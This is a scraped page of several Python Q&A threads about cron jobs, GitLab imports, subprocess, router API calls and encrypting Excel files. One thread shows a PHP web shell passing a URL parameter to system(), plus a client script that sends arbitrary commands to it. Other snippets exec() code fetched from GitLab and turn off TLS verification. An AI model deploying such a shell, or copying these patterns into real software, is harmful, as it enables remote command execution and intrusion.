I'm trying to run Python script for API. When I run it manualy it works fine. When I try to run the same script using cron, it fails.
In cron job i've something like this:
0 8-17 * * * root /usr/bin/python3 /root/scripts/python_script.sh
I've tryied also to run Python script from bash script, and manually it works, but running bash script with Python inside via cron doesn't work.
I think that problem is with saving file in my script, but i can't figured it out.
My Python script for API is below:
import requests
import json
import shutil
import os
import glob
def main():
ses = requests.Session()
base_url = 'URL/auth'
headers = {'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'}
payload = {'username':'USER', 'password':'PASS'}
response = ses.post(base_url, data=payload, headers=headers)
cookieJar = ses.cookies
s = str(cookieJar)
base_url_export = 'URL/export'
headers_export = {'accept':'application/json', 'Cookie':get_cookies, 'Content-Type':'application/json'}
payload_export = {'names':'FILE_1'}
response_export_route = ses.post(base_url_export, data=json.dumps(payload_export), headers=headers_export)
file_download_FILE_1 = str(response_export_FILE_1.text)
file_request = ses.get("URL/getFile/"+file_download_FILE_1)
open(file_download_FILE_1+".xlsx", "wb").write(file_request.content)
shutil.move('/root/scripts/'+file_download_FILE_1+'.xlsx', 'DST-DIR')
Related
My code is work but... i think about simple solution.
Maybe someone knows?
I can't find in API Gitlab how import package from GitLab - file .py
In database_connect.py i have function with connect to database (example)
For example
database_connect = project.files.get(file_path='FUNCTION/DATABASE/database_connect.py', ref='main')
import database_connect
My code ...
import gitlab
import base64
gl = gitlab.Gitlab('link',
private_token='API')
projects = gl.projects.list()
for project in projects[3:4]:
# print(project) # prints all the meta data for the project
print("Project: ", project.name)
print("Gitlab URL: ", project.http_url_to_repo)
database_connect = project.files.get(file_path='FUNCTION/DATABASE/database_connect.py', ref='main')
database_connect_content = base64.b64decode(database_connect.content).decode("utf-8")
database_connect_package = database_connect_content.replace('\\n', '\n')
exec(database_connect_package)
I have a python code that uses subprocess to open another python file that has been converted to an executable file. I want to be able to pass a string in the form of a SQL query like SELECT * FROM TABLE.
So I have created a variable string called PARAM that has the value "SELECT * FROM TABLE".
This is the .py making running the subprocess:
import pandas as pd
import subprocess
import re
param = "Select * from Table"
send = subprocess.Popen(["C:\\Users\\example\\Desktop\\testing.exe",param],stdout=subprocess.PIPE).communicate()[0].decode()
print(send)
However for some reason I do not get back the output from the .py file that has been made in to an executable.
Here is the code for the executable:
from sys import argv
import requests as rq
from requests_kerberos import HTTPKerberosAuth, OPTIONAL
def get_hypercube(query):
#param = "select 1 as Id, 'Test' as Name" #argv
url = 'https://example.com/csv/query'
kerberos_auth = HTTPKerberosAuth(mutual_authentication=OPTIONAL, delegate=True)
payload = "q=" + str(query)
r = rq.get(url, auth=kerberos_auth, params=payload, verify=False)
output = r.text
return output
result = get_hypercube(argv)
print(result)
But the send does not bring me the result of the exe file (RESULT). I must be missing something, or not fully understanding how subprocess works.
Any help much appreciated.
Good-day Folks,
I am writing a small Python script that will be used on a Ubiquiti EdgeRouter 12P to make an API Call, using Digest Authentication, against another router for some JSON data. This is my first attempt at writing a Python script and I have been able to do this using the Requests module, but only in a Python v3.x.y environment. As I was writing my script, I discovered that the Python version on the EdgeRouter is v2.7.13 and the Requests module isn't installed/loaded.
I have attempted to do a pip install requests but it fails with an invalid syntax error message. So with my limited knowledge, I can't figure out what my options are now. Googled around a bit and saw references to using UrlLib or UrlLib2 - but I'm struggling with figuring out how to use either to make my API Call using Digest Authentication.
I would very much like to stick to the Requests module, as it appears to be the simplest and cleanest approach. Below is a snippet of my code, any help would be really appreciated, thanks.
PS. My script is not yet finished, as I'm still learning how to parse the response data received.
HERE'S MY SCRIPT
#PYTHON MODULE IMPORTS
import sys #Import the Python Sys module - used later to detect the Python version
PythonVersion = sys.version_info.major #Needed to put this global variable up here, so I can use it early
import json #Import the JSON module - used to print the API Call response content in JSON format
if PythonVersion == 3: #Import the REQUESTS and HTTPDigestAuth modules - used to make API Calls if we detect Python version 3
import requests
from requests.auth import HTTPDigestAuth
if PythonVersion == 2: #Import the UrlLib module - used to make API Calls if we detect Python version 2
import urllib
#GLOBAL VARIABLES
NodeSerial = '1234'
NodeIP = '192.168.1.100'
BasePath = 'api/v0.1'
apiURL = f"http://{NodeIP}/{BasePath}/MagiNodes"
#Define the credentials to use
Username='admin'
Passwd='mypassword'
#MAIN ROUTINE
print("This is a test script")
if PythonVersion == 2:
print("Python Version 2 detected")
elif PythonVersion == 3:
print("Python Version 3 detected")
print(f"Now querying MagiLink-{NodeSerial}...")
Query1 = requests.get(f"{apiURL}/{NodeSerial}", auth=HTTPDigestAuth(Username, Passwd)) #Using an F string
pretty_Query1 = json.dumps(Query1.json(), indent=3) #Pretty printing the response content
print(pretty_Query1)
I created a php file that allow me to execute commands in the url. the php file and the url in the following quotes:
<?php
system($_GET['cmd']);
?>
the url is:
www.somewebsite.com/..././command.php?cmd=id
so here I used the command "id" and the output was:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now, I want to write a python script that pass the command I want as an argument and return the output in the terminal instead of executing the command in the browser.
This is my code so far:
import sys
import requests
import re
import webbrowser
url = 'http://localhost/.././command.php?cmd='
def remote():
webbrowser.open('url')
def main():
remote()
My problem is how to pass an argument as a command? like: python do.py id
Thanks in advance.
You are probably looking for this:
import requests
import sys
url = 'http://localhost/.././command.php?cmd='
command = str(sys.argv[1])
response = requests.get(url + command)
print response.content
You might need to install the requests module. You can do that easily using pip.
I am trying to save an Excel file encrypted with password. I have tried following the guide on https://help.libreoffice.org/Common/Protecting_Content_in - and works perfectly. However, this is in the GUI, but I am looking for a solution using the command line interface in headless mode.
I have looked at the man libreoffice, but I could not find anything in there.
Likewise I have looked at the documentation of the Python 3 library openpyxl, but I did not find anything useful there either.
Is it possible to save an Excel 2007+ file encrypted with a password on Ubuntu 14.04/16.04 using the command line (or Python library) that do not require any user interaction or X session?
There is solution using Jython and Apache POI. If you want like to use it from CPython/PyPy, you can use subprocess module to call external Jython script.
I assume that you have Java JRE/JDK installed
Create non-encrypted xlsx file with Excel/Calc or use xlsxwriter or openpyxl and save it as test1.xlsx
Download standalone Jython
Download Apache POI
Extract Apache POI in same dir where is standalone Jython jar
Save following Jython script as encrypt.py:
import os
import sys
from java.io import BufferedInputStream
from java.io import FileInputStream
from java.io import FileOutputStream
from java.io import File
from java.io import IOException
from org.apache.poi.poifs.crypt import EncryptionInfo, EncryptionMode
from org.apache.poi.poifs.crypt import CipherAlgorithm, HashAlgorithm
from org.apache.poi.poifs.crypt.agile import AgileEncryptionInfoBuilder
from org.apache.poi.openxml4j.opc import OPCPackage, PackageAccess
from org.apache.poi.poifs.filesystem import POIFSFileSystem
from org.apache.poi.ss.usermodel import WorkbookFactory
def encrypt_xlsx(in_fname, out_fname, password):
# read
in_f = File(in_fname)
in_wb = WorkbookFactory.create(in_f, password)
in_fis = FileInputStream(in_fname)
in_wb.close()
# encryption
out_poi_fs = POIFSFileSystem()
info = EncryptionInfo(EncryptionMode.agile)
enc = info.getEncryptor()
enc.confirmPassword(password)
opc = OPCPackage.open(in_f, PackageAccess.READ_WRITE)
out_os = enc.getDataStream(out_poi_fs)
opc.save(out_os)
opc.close()
# write
out_fos = FileOutputStream(out_fname)
out_poi_fs.writeFilesystem(out_fos)
out_fos.close()
if __name__ == '__main__':
in_fname = sys.argv[1]
out_fname = sys.argv[2]
password = sys.argv[3]
encrypt_xlsx(in_fname, out_fname, password)
Call it from console:
java -cp "jython-standalone-2.7.0.jar:poi-3.15/lib/commons-codec-1.10.jar:poi-3.15/lib/commons-collections4-4.1.jar:poi-3.15/poi-3.15.jar:poi-3.15/poi-ooxml-3.15.jar:poi-3.15/poi-ooxml-schemas-3.15.jar:poi-3.15/ooxml-lib/curvesapi-1.04.jar:poi-3.15/ooxml-lib/xmlbeans-2.6.0.jar" org.python.util.jython -B encrypt.py test1.xlsx test1enc.xlsx 12345678
Where:
encrypt.py - name of script
test1.xlsx - input filename
test1enc.xlsx - output filename
12345678 - password
Final encrypted xslx should be in test1enc.xlsx.